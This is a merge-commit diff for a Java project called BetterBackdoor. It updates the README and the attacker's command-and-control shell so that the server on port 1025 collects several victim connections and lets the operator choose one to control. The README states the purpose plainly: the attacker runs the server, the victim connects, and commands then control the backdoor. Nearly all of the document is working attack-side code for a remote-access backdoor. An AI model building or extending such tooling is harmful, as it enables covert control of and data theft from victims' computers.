Merge pull request #23 from ThatcherDev/develop

If multiple clients attempt to connect, the user is prompted to select which client to connect to

README.md

@@ -23,7 +23,8 @@ This created backdoor can:
 - Decompress a ZIP file
 
 This backdoor uses a client and server socket connection to communicate.
-The attacker starts a server and the victim connects to this server as a client.
+The attacker starts a server, and the victim connects to this server as a client.
+(Note: if multiple clients attempt to connect, the user is prompted to select which client to connect to)
 Once a connection is established, commands can be sent to the client in order to control the backdoor. 
 
 To create the backdoor, BetterBackdoor:

src/main/java/com/thatcherdev/betterbackdoor/shell/Shell.java

@@ -6,30 +6,59 @@
 import java.io.PrintWriter;
 import java.net.ServerSocket;
 import java.net.Socket;
+import java.util.ArrayList;
 import java.util.Scanner;
 
 public class Shell {
 
 	private static Socket socket;
 	public static Scanner in;
 	public static PrintWriter out;
+	public static ArrayList<Socket> connectedMachines = new ArrayList<>();
 
 	/**
 	 * Starts shell to control backdoor.
 	 * <p>
-	 * Creates server on port 1025 for client to connect to. Once client has
-	 * connected, starts an infinite loop that gets command {@code command} from
+	 * Creates server on port 1025 for client to connect to. Runs {@link Connector#start()} to find
+	 * all possible clients and prompts user to select client to connect to if their are multiple clients.
+	 * Once client has connected, starts an infinite loop that gets command {@code command} from
 	 * user and handles it with {@link com.thatcherdev.betterbackdoor.shell.HandleCommand#handle}.
 	 */
 	public static void start() {
-		System.out.println("Connecting...\n");
+		System.out.println("Searching for clients...\n");
 		try {
 			ServerSocket serverSocket = new ServerSocket(1025);
-			socket = serverSocket.accept();
+			while (connectedMachines.size() == 0) {
+				Connector connector = new Connector(serverSocket);
+				connector.start();
+				Thread.sleep(5000);
+				connector.interrupt();
+				if (connectedMachines.size() == 0)
+					System.out.println("No clients found. Searching again...");
+			}
+
+			if (connectedMachines.size() == 1)
+				socket = connectedMachines.get(0);
+			else {
+				System.out.println("Select client to connect to:");
+				StringBuilder opString = new StringBuilder("op");
+				for (int k = 0; k < connectedMachines.size(); k++) {
+					System.out.println("[" + k + "] " + connectedMachines.get(k).getInetAddress());
+					opString.append(k);
+				}
+				String option = BetterBackdoor.getInput(opString.toString());
+				for (int k = 0; k < connectedMachines.size(); k++)
+					if (option.equals(Integer.toString(k)))
+						socket = connectedMachines.get(k);
+					else
+						connectedMachines.get(k).close();
+			}
+			connectedMachines.clear();
+
 			in = new Scanner(socket.getInputStream());
 			out = new PrintWriter(socket.getOutputStream(), true);
 			new File("gathered").mkdir();
-			System.out.println("Connection has been established");
+			System.out.println("Connection has been established to " + socket.getInetAddress());
 			System.out.println("Enter 'help' for a list of available commands");
 			while (true)
 				HandleCommand.handle(BetterBackdoor.getInput(""));
@@ -51,4 +80,28 @@ public static void start() {
 			}
 		}
 	}
+}
+
+class Connector extends Thread {
+
+	private ServerSocket serverSocket = null;
+
+	public Connector(ServerSocket serverSocket) {
+		this.serverSocket = serverSocket;
+	}
+
+	/**
+	 * Attempts to accept connections to {@link Connector#serverSocket} and add the produced sockets to
+	 * {@link com.thatcherdev.betterbackdoor.shell.Shell#connectedMachines}.
+	 */
+	public void run() {
+		while (true) {
+			try {
+				Socket socket = serverSocket.accept();
+				Shell.connectedMachines.add(socket);
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
+	}
 }